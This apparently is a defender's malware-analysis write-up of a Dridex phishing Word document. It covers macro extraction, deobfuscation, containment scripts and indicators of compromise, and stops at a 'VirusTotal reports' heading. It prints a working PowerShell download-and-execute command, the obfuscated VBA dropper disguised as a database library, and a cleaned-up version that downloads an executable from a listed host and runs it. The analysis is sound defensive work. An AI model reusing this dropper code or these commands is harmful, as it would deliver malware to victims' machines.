Got my hands on a Dridex sample (SKM_C3350160212101601.docm) the other day and I wanted to figure out exactly how it managed to slip by our controls.

The binary dropped did get intercepted by AV but considering the initial phish document did not, I wanted to take a closer look ad make sure nothing else slipped under the radar.

Document Analysis

First thing I need to do is run it through officemalscanner:

M:\Malware>officemalscanner .\SKM_C3350160212101601.docm inflate
...
word/vbaProject.bin ----- 30208 Bytes ----- at Offset 0x00000b46
...

M:\Malware>officemalscanner %temp%\DecompressedMsOfficeDocument\word\vbaProject.bin info
...
------> M:\Malware\VBAPROJECT.BIN-Macros

There are a couple of macros in this document and they appear to run independently. The first macro is straight forward and executes the following:

cmd /K powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://fortitudecpa.top/dl.php','%TEMP%\GhcRgsjjdx6Hh.ps1'); 
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -noprofile -file %TEMP%\GhcRgsjjdx6Hh.ps1

I did not see the above powershell script successfully executing (or even downloading) on my machines and the network controls did not catch any traffic to this host. Further more, Robtex is showing fortitudecpa.top as a DigitalOcean instance (at least at some point in its lifetime), but the domain has since been suspended: fortitudecpa.top

The other macro is more interesting:

Attribute VB_Name = "Module1"
Private MapsInitialized As Boolean
Private mDBname As String
Private MapInit As Boolean
Public Mamamima_1 As Object
Public Mamamima_2 As Object
Public Mamamima_3  As Object
Public Mamamima_4 As String
Public Mamamima_5 As String
Public Mamamima_6 As Object
Public MapList() As String
Public Sub AddSensors()
    Dim Col As String
    Dim Obj As String
    MapList = Split(UserForm1.Label1.Caption, "/")
    GoTo ErrExit
    On Error GoTo ErrHandler
    BM.ResetBalances
    
    Cofl.Load

    On Error GoTo 0
ErrExit:
Set Mamamima_1 = CreateObject(MapList(0))
CheckBins
    Exit Sub
ErrHandler:
     AD.DisplayError Err.Number, "modMaps", "AddSensors", Err.Description
     Resume ErrExit
End Sub

Private Sub CheckBins()
'---------------------------------------------------------------------------------------
' Procedure : CheckBins
' Author    : David
' Date      : 4/3/2011
' Purpose   :
' Checks if any bins have been added or deleted
'---------------------------------------------------------------------------------------
    Dim LP As Long
    Dim BinID As Long
    Dim objStorages As String
    Dim objStorage As Variant
    Dim MapID As Long
    Set Mamamima_2 = CreateObject(MapList(1))
     GoTo ErrHandler
    objSt.orages.Load
    'check for deleted bins
    For LP = 1 To BM.StorCount
        BinID = BM.StorID(LP)
        If Not objSto.rages.IsItem(BinID) Then
            BM.UnloadStor BinID
        End If
    Next LP
    'check for new bins
    For Each objStorage In objS.torages
        With objStorage
            If Not BM.BinLoaded(.ID) Then
                BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
            End If
            'check for bin moved to other map
            MapID = BM.BinMapID(.ID)
            If MapID <> 0 And MapID <> .MapID Then
                BM.UnloadStor .ID
                BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
            End If
        End With
    Next
    On Error GoTo 0
ErrExit:
    Exit Sub
ErrHandler:
Set Mamamima_6 = CreateObject(MapList(2))
Set hokuk = CreateObject(MapList(3))
Set Mamamima_3 = hokuk.Environment(MapList(4))
CheckDatabase
End Sub

Private Sub CheckDatabase()
'---------------------------------------------------------------------------------------
' Procedure : CheckDatabase
' Author    : David
' Date      : 2/13/2012
' Purpose   : checks if database has changed to a different database. If so reset map control.
'---------------------------------------------------------------------------------------
Dim Mamamima_7() As Variant
Mamamima_7 = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)

Dim Mamamima_8 As Integer
    Dim uncunctunc2_1 As String
    uncunctunc2_1 = ""
 GoTo ErrHandler
    If mDBname <> Prog.DatabaseFullName Then
        mDBname = Prog.DatabaseFullName
        BM.Reset
        MapsInitialized = False
    End If
    On Error GoTo 0
ErrExit:
    Exit Sub
ErrHandler:
      For Mamamima_8 = LBound(Mamamima_7) To UBound(Mamamima_7)
        uncunctunc2_1 = uncunctunc2_1 & Chr(Mamamima_7(Mamamima_8) - 20 - 37)
    Next Mamamima_8

Mamamima_1.Open MapList(5), uncunctunc2_1, False
CheckMaps
   End Sub

Private Sub CheckMaps()
'---------------------------------------------------------------------------------------
' Procedure : CheckMaps
' Author    : XPMUser
' Date      : 12/6/2014
' Purpose   : checks if any maps have been added or deleted. Resets if so.
'---------------------------------------------------------------------------------------
    Dim objStors As String
    Dim objStor As Variant
    Mamamima_1.Send
    Dim NewList As String
    Dim DoReset As Boolean
    Dim LP As Long
    Mamamima_4 = Mamamima_3(MapList(6))
GoTo ErrHandler

    objS.tors.Load , , , , , True
    For Each objStor In objSt.ors
        'make list of unique map ID's
        NewLi.st.Add objStor.MapID
    Next
    If Not MapInit Then
        'init map list, reset BinMap object
        MapInit = True
        DoReset = True
    Else
        'check if each map on new list is on old list
        If MapL.ist.Count <> NewLi.st.Count Then
            'count not same, reset
            DoReset = True
            Set MapL.ist = NewList
        Else
            For LP = 1 To MapLi.st.Count
                If MapL.ist.ID(LP) <> NewLi.st.ID(LP) Then
                    DoReset = True
                    Set MapL.ist = Ne.w.List
                    Exit For
                End If
            Next LP
        End If
    End If
    If DoReset Then
        BM.Reset
        MapsInitialized = False
    End If
    Set NewLi.st = Nothing
    Set objSt.ors = Nothing
    Set objSt.or = Nothing
    On Error GoTo 0
ErrExit:
    Exit Sub
ErrHandler:
Mamamima_5 = Mamamima_4 + Replace(MapList(12), "t", "e")
ConnectMaps
End Sub

Public Sub ConnectMaps()
'---------------------------------------------------------------------------------------
' Procedure : ConnectMaps
' Author    : David
' Date      : 2/13/2012
' Purpose   : show maps. If none in database then control will be hidden.
'---------------------------------------------------------------------------------------
    Dim objStorages As Variant
    Dim objStorage As Variant
    Dim objMap As Variant
    Dim objMaps As Variant
     CallByName Mamamima_2, MapList(7), VbLet, 1
 Mamamima_2.Open
GoTo ErrHandler
    CheckDat.abase BM
    CheckM.aps BM
    objMaps.Load
    BM.Visible = False
    If objMaps.Count > 0 Then
        BM.Visible = ShowMaps
        If ShowMaps Then
            If Not MapsInitialized Then
                'add maps
                For Each objMap In objMaps
                    With objMap
                        BM.AddMap .ID, .MapName, .Units, .Zoom
                    End With
                Next
                'add bins
                objStor.ages.Load , , , , , True
                For Each objStorage In objSto.rages
                    With objStorage
                        BM.AddStor .ID, .Label, .IsWarehouse, .MapID, .XPos, .YPos, .Volume, .PositionSet
                    End With
                Next
                MapsInitialized = True
            End If
            AddSenso.rs BM
            CheckB.ins BM
            BM.Update
        End If
    End If
    Set objMap = Nothing
    Set objMaps = Nothing
    Set objStorage = Nothing
    Set objStorages = Nothing
    On Error GoTo 0
ErrExit:
    Exit Sub
ErrHandler:
SaveMaps
End Sub

Public Sub SaveMaps()
rbp = CallByName(Mamamima_1, MapList(10), VbGet)
    Dim objStor As Variant
    CallByName Mamamima_2, MapList(9), VbMethod, rbp
    Dim objMap As Variant
    Dim LP As Long
    Dim ID As Long
    Dim XPos As Single
    Dim YPos As Single
    Dim BinLP As Long
    Dim BinID As Long
    'save map data
    CallByName Mamamima_2, MapList(11), VbMethod, Mamamima_5, 2
GoTo ErrHandler
    For LP = 1 To BM.MapCount
        ID = BM.MapID(LP)
        objMap.Load ID
        objMap.BeginEdit
        objMap.MapZoom = BM.MapZoom(LP)
        objMap.ApplyEdit
        Set objMap = Nothing
    Next LP
    'save bin data
    For BinLP = 1 To BM.StorCount
        BinID = BM.StorID(BinLP)
        If BM.BinLoaded(BinID) Then
            BM.BinLocation BinLP, XPos, YPos
            With objStor
                .Load BinID
                .BeginEdit
                .XPos = XPos
                .YPos = YPos
                .ApplyEdit
            End With
            Set objStor = Nothing
        End If
    Next BinLP
    On Error GoTo 0
ErrExit:
    Exit Sub
ErrHandler:
Mamamima_6.Open (Mamamima_5)
End Sub

At first glance it looks like a benign database handling library created by a David sometime in 2011. If you closely though, you can actually see where the malware writers put their code: the indentation and some variable names does not match the convention outlined by the rest of the library.

The first thing I noticed were the references to the MapList array. Statically defined indexes all over the code? Looks like obfuscation.

MapList is built by splitting a hidden form’s label caption:

MapList = Split(UserForm1.Label1.Caption, "/")

'Where UserForm1.Label1.Caption = Microsoft.XMLHTTP/Adodb.Stream/Shell.Application/WScript.Shell/Process/GET/TEMP/Type/Open/write/responseBody/savetofile/\ladybi.txt

There are several GoTo calls and a decoding routine sprinkled throughout this macro to help it download and execute that first payload. I can further simplify the code by jumping with the GoTo and subroutine calls and doing a bit of refactoring:

Attribute VB_Name = "Module1"
Public xmlhttp_obj As Object
Public adodbstream_obj As Object
Public process_obj As Object
Public save_path As String
Public save_fullname As String
Public shellapplication_obj As Object

Public Sub AddSensors()
	Set xmlhttp_obj = CreateObject("Microsoft.XMLHTTP")
	Set adodbstream_obj = CreateObject("Adodb.Stream")
	Set shellapplication_obj = CreateObject("Shell.Application")
	Set wscript_obj = CreateObject("WScript.Shell")
	Set process_obj = wscript_obj.Environment("Process")
	Dim url_array() As Variant
	url_array = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)
	Dim count As Integer
	Dim url As String
	url = ""
	For count = LBound(url_array) To UBound(url_array)
		url = url & Chr(url_array(count) - 20 - 37)
	Next count

	xmlhttp_obj.Open "GET", url, False
	xmlhttp_obj.Send
	save_path = process_obj("TEMP")
	save_fullname = save_path + "\ladybi.exe"
	
	CallByName adodbstream_obj, "Type", VbLet, 1
	adodbstream_obj.Open
	
	rbp = CallByName(xmlhttp_obj, "responseBody", VbGet)
	CallByName adodbstream_obj, "write", VbMethod, rbp
	CallByName adodbstream_obj, "savetofile", VbMethod, save_fullname, 2
	shellapplication_obj.Open (save_fullname)
End Sub

Note: My AV instance did finally pick up the macro as malicious but only after I simplified it.

The data I’m interested in is:

url_array = Array(161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167)

aaand

For count = LBound(url_array) To UBound(url_array)
	url = url & Chr(url_array(count) - 20 - 37)
Next count

A fairly straight forward character decoding operation: take each element of the array, subtract 57 and cast the resulting integer to its ASCII character equivalent.

I wrote a JavaScript one-liner to safely decode this array, and potentially others, in Chrome’s console:

var y = "";[161, 173, 173, 169, 115, 104, 104, 107, 106, 111, 103, 106, 110, 113, 103, 113, 107, 103, 106, 109, 114, 104, 105, 114, 174, 113, 161, 112, 111, 159, 104, 111, 110, 159, 160, 111, 112, 167].forEach(function(x){y = y + String.fromCharCode(x - 57)});y
"http://216.158.82.149/09u8h76f/65fg67n"

The macro continues to download and save the file to the TEMP folder as ladybi.exe:

xmlhttp_obj.Open "GET", url, False
xmlhttp_obj.Send
save_fullname = save_path + "\ladybi.exe"

The final step in the macro executes ladybi.exe:

shellapplication_obj.Open (save_fullname)

Containment

So now that I have an idea of what this document does, I want to make sure I’ve recorded all the URLs and any other indicators.

It’s unusual for a campaign to only use one download point so other emails likely contained a different encoded URL.

I need a way to go through all the emails, grab the .docm attachments and extract their macros:

First I’ll use msg-extractor, a neat python tool for extracting attachments from .msg files:

PS M:\malware\> ls -recurse | ?{$_.name -match ".msg"} | %{
	M:\Apps\Python\python.exe M:\Tools\msg-extractor\ExtractMsg.py $_.fullname
}

The output will be a bunch of subdirectories with the extracted attachments.

I need to sort them by their MD5 hash and get a distinct view of what I need to look at:

PS M:\malware\> ls -recurse | ?{$_.FullName -match ".docm"} | %{
	$to = ("extracted\" + (Get-FileHash $_.FullName -Algorithm md5).hash + ".docm")
	Copy-Item -Path $_.fullname -Destination $to
}

Going forward I’ll do my analysis on the [md5hash].docm files. Instead of officemalscanner, I can script the macro extraction with olevba.py:

PS M:\malware\msg\extracted> ls | ?{$_.fullname -match ".docm"} | %{
	M:\Apps\Python\python.exe M:\Tools\olevba\build\lib\oletools\olevba.py $_.fullname | out-file ($_.fullname+".macro.txt") 
}

The above will output macro reports in [md5has].docm.macro.txt files.

To see a list of the encoded character arrays (+ the number to shift each character by):

PS M:\malware\extracted> ls *.macro.txt | %{
	write-host -nonewline ($_.name+": "); 
	write-host -nonewline (gc $_.fullname | select-string "Array\("); 
	write-host (gc $_.fullname | select-string "uncunctunc2_1 = uncunctunc2_1")
}

IOCs

After all is said and done, this is what I’ve seen in my environment:

URLs:

http://216.158.82.149/09u8h76f/65fg67n
http://sstv.go.ro/09u8h76f/65fg67n
http://www.profildigital.de/09u8h76f/65fg67n

Docm MD5 hashes:

1DA30F7F9A627ACF748C4BDD6A94A656
338A2607EC0BB9AA2341AB844E0B55B5
33FFA3890A3E4408E3CE54BA631A3B0F
340397961098631B66D39E7DCABC418F
687108DA12479A9E315C7607D470E70D
6A6687B9A6FF5B26E54006913F3EB217
6C6AA2F57F5433F9365F154D67E6E171
6E229DFAEB20299F8EE7C7DEB622C4D0
753CA01DE9C824999566FDFE9162D5FA
78EAE2E9252C64CC7B54791995976506
7F9CC6753AF89697BCFDBCAC65F888B7
8C7757A97EDDF66977940B06EF612EA1
A5B34E5A8AB4C7E730DF54A483CD7E9D
B1B434D88A5D1FFF4E9C554EB6DF24B2
C5F91BE00A0BA4642C6149CD071FEEE3
CE4F5690C48B19048068EFCFBC875B84
D16FCDC646696D947CAF967D337D5AD1
D6CF63E73554450369A41C8C235F2C4C
E66098964FC986BACD4FE86FCD4E6A0D
F3CD1B9D1D5E551E25C575AED17EAA8D

Dropped files:

ladybi.exe - md5:69e4d5a501620829f0c3f1d15f1e3016 - sha256:230a53b665cf61ff2b8d55f24363d3850f8b498eaf3437557c6157879bb25134

VirusTotal reports: